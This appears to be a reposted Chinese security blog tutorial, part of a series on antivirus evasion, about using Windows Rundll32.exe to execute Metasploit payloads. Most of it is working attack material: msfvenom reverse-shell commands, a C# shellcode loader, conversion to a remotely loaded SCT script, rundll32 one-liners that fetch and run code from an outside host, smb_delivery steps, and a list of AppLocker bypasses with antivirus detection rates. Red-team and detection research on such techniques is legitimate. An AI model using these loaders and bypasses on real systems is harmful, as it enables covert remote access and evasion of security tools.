远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58)
2020-02-29 18:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:301 收藏

Rundll32.exe,可以执行32位的DLL文件,以命令行的方式调用动态链接程序库。。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样就实现了进程上的隐藏。系统中还有一个Rundll.exe文件,可以执行16位的DLL文件。

DLL文件对于Window的操作系统非常重要,它还决定了自定义Windows的其他程序的运行。动态链接库(DLL)文件是一种文件类型,它向其他程序提供有关如何调用某些内容的指令。因此,多个软件甚至可以同时共享这样的DLL文件。尽管与.exe文件的格式相同,但DLL文件不能像.exe文件那样直接执行。dll文件扩展名可以是:.dll(动态链接库)、.ocx(ActiveX控件)、.cpl(控制面板)、.drv(设备驱动程序)。

Rundll32.exe令行下的使用方法为:Rundll32.exe DLLname,Functionname,需注意x86,x64位的Rundll32调用,64位的系统默认调用的是64位Rundll32.exe(在C:\Windows\System32目录下)。

Windows 7 默认位置:

64位 C:\Windows\System32\rundll32.exe32位 C:\Windows\SysWOW64\rundll32.exe

使用Rundll32.exe加载payload主要依赖于你加载的payload所做的免杀,我这只是列出来Rundll32.exe的3个常用的场景,至于对dll或sct文件的免杀,则需要你自己去尝试了。

由于Rundll32.exe被各大杀软都盯的比较紧了,而加载payload的免杀测试需要杀软的行为检测才合理,静态查杀dll或者sct或者Rundll32.exe文件自身都没有任何意义,所以本文对Rundll32.exe的免杀效果不做衡量,以第一种sct文件的免杀率作为参考。

其实backlion大神已经介绍的非常全面了:https://www.cnblogs.com/backlion/p/10488747.html,我这里就再复现一下,主要测一下免杀率。

2.1 远程加载SCT文件(VT免杀率22/58)

这个生成sct费了不少功夫,之前看到亮神博客上提供了sct代码,https://micro8.gitbook.io/micro8/contents-1/81-90/81-ji-yu-bai-ming-dan-rundll32.exe-zhi-hang-payload-di-shi-yi-ji,但之前也没太关注,以为就是shellcode做的base64编码,这次要复现出来才发现走了些弯路,期间还请教了Green-mhaya等师傅,才复现了这个sct加载。

1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x86的,注意这个要和后面rundll32的版本相一致。

msfvenom  -p windows/meterpreter/reverse_tcp -a x86 -f csharp  -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp

2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。

代码如下,把shell_x86.csharp内容放到相应MsfPayload位置。

using System;using System.Threading;using System.Runtime.InteropServices;namespace MSFWrapper{    public class Program    {        public Program()        {            RunMSF();        }        public static void RunMSF()        {            byte[] MsfPayload =  {0xbb,---shellcode here---0x1e };
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40); Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length); CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0); Thread.Sleep(2000); } public static void Main() { } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); }}

修改一下项目属性,设置启动对象为MSFWrapper

编译生成exe,我这生成的就是默认的ConsoleApp2.exe

3、将exe转换为脚本文件

这时候需要一个工具DotNetToJScript

官方github地址:https://github.com/tyranid/DotNetToJScript

我这有一个编译好的DotNetToJScript工具:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/DotNetToJScript.zip,可以直接下载使用。

将上面生成的ConsoleApp2.exe复制到DotNetToJScript目录下,执行命令生成msf_x86.sct文件

DotNetToJScript.exe -m -o=msf_x86.sct -c=MSFWrapper.Program -v 4 -d  ConsoleApp2.exe

看下msf_x86.sct文件内容,发现和亮神博客上提供了sct代码是一样的。

4、将msf_x86.sct文件放在自己的web服务器上,我的是http://10.211.55.2/msf_x86.sct

在msf中监听

然后在测试机执行

C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:http://10.211.55.2/msf_x86.sct")

发现火绒的行为检测会预警

火绒放行后可正常执行

msf正常上线

virustotal.com上msf_x86.sct文件查杀率为22/58

2.2 利用smb_delivery(VT免杀率61/69)

Metasploit包含SMB Delivery模块,可生成恶意dll文件。该模块通过SMB服务器提供有效负载,并提供检索和执行生成的有效负载的命令。目前支持DLL和Powershell。

在msf中执行

use exploit/windows/smb/smb_deliverymsf exploit(windows/smb/smb_delivery) > set srvhost 10.211.55.24msf exploit(windows/smb/smb_delivery) > exploit

在测试机器上执行

rundll32.exe \\10.211.55.24\MUsmJ\test.dll,0

发现360和火绒都会报警,不过360杀毒没有反应。

msf中可正常上线

virustotal.com上test.dll文件查杀率为61/69,没做免杀,肯定被查杀的很厉害。

2.3 MSFVenom生成dll(VT免杀率57/70)

利用msfvenom可以直接生成dll文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -e x86/shikata_ga_nai -i 15 -b '\x00' -f dll -o test.dll

然后将test.dll拷贝到测试机器上,在测试机上执行

rundll32 shell32.dll,Control_RunDLL c:\test\test.dll

发现360和火绒都会报警

msf中可正常上线

virustotal.com上test.dll文件查杀率为57/70,这种msf原生态的dll居然还有没查杀出来的..

参考自ATT&CK手册。

1)直接执行dll文件

rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaarundll32.exe "C:\Windows\twain_64.dll",EntryPoint

2)调用系统中原生存在的dll中的未记录dll函数

2.1)调用shell32.dll函数执行控制面板项文件(.cpl)

rundll32 shell32.dll,Control_RunDLL <文件名>control.exe test.cpl

2.2)Advpack.dll - LaunchINFSection

advpack.dll用于帮助硬件和软件读取和验证·INF文件。正如老话所说,”大部分安全问题本质就是功能被误用“,advpack.dll也可以被攻击者利用进行代码/指令代理执行,

rundll32.exe advpack.dll,LaunchINFSection  c:\test.inf,DefaultInstall_SingleUser,1,C:\\Windows\\System32\\rundll32 advpack.dll,LaunchINFSectionEx C:\\Windows\\system32\\ieuinit.inf,InstallRequires admin: NoWindows binary: YesBypasses AppLocker Default rules: Yes

2.3)Advpack.dll - RegisterOCX

rundll32.exe advpack.dll,RegisterOCX calc.exeRequires admin: NoWindows binary: YesBypasses AppLocker Default rules: Yes

2.4)zipfldr.dll - RouteTheCall

rundll32.exe zipfldr.dll,RouteTheCall calc.exe

2.5)url.dll - OpenURL

rundll32  url.dll,OpenURL file://C:/Windows/system32/calc.exe rundll32.exe url.dll,OpenURL "C:\test\calc.hta"rundll32.exe url.dll,OpenURL "C:\test\calc.url"rundll32.exe  url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta

2.6)url.dll - FileProtocolHandler

rundll32.exe url.dll, FileProtocolHandler calc.exe

2.7)ieframe.dll - OpenURL

rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"

2.8)shdocvw.dll - OpenURL

rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"

2.9)ieadvpack.dll - LaunchINFSection

rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,

2.10)shell32.dll - ShellExec_RunDLL

rundll32.exe shell32.dll,ShellExec_RunDLL C:\Windows\System32\calc.exe

2.11)pcwutl.dll - LaunchApplication

rundll32.exe C:\Windows\System32\pcwutl.dll,LaunchApplication calc.exe

2.12)Setupapi.dll - InstallHinfSection

# Launch an executable file via the InstallHinfSection function and .inf file section directive.rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\\Tools\\calc_exe.inf

2.13)Syssetup.dll - SetupInfObjectInstallAction

# Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf

3)执行javascript脚本

rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://reverse-tcp.xyz/payload.sct");window.close();rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

使用rundll32.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10488747.html

免杀 MSF Windows Payload 的方法与实践:https://mp.weixin.qq.com/s/OxgJIIPaXMXqrY5lPdukdA

UltimateAppLockerByPassList:https://github.com/api0cradle/UltimateAppLockerByPassList/

LOLBAS:https://github.com/api0cradle/LOLBAS


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247485633&amp;idx=2&amp;sn=1ea8863b33450381b46022a9593a477d&amp;chksm=ce5e2aa0f929a3b6192928d161199d2a7f8c0435e53d020fdde14797d43ac54f670be3580ca6#rd
如有侵权请联系:admin#unsafe.sh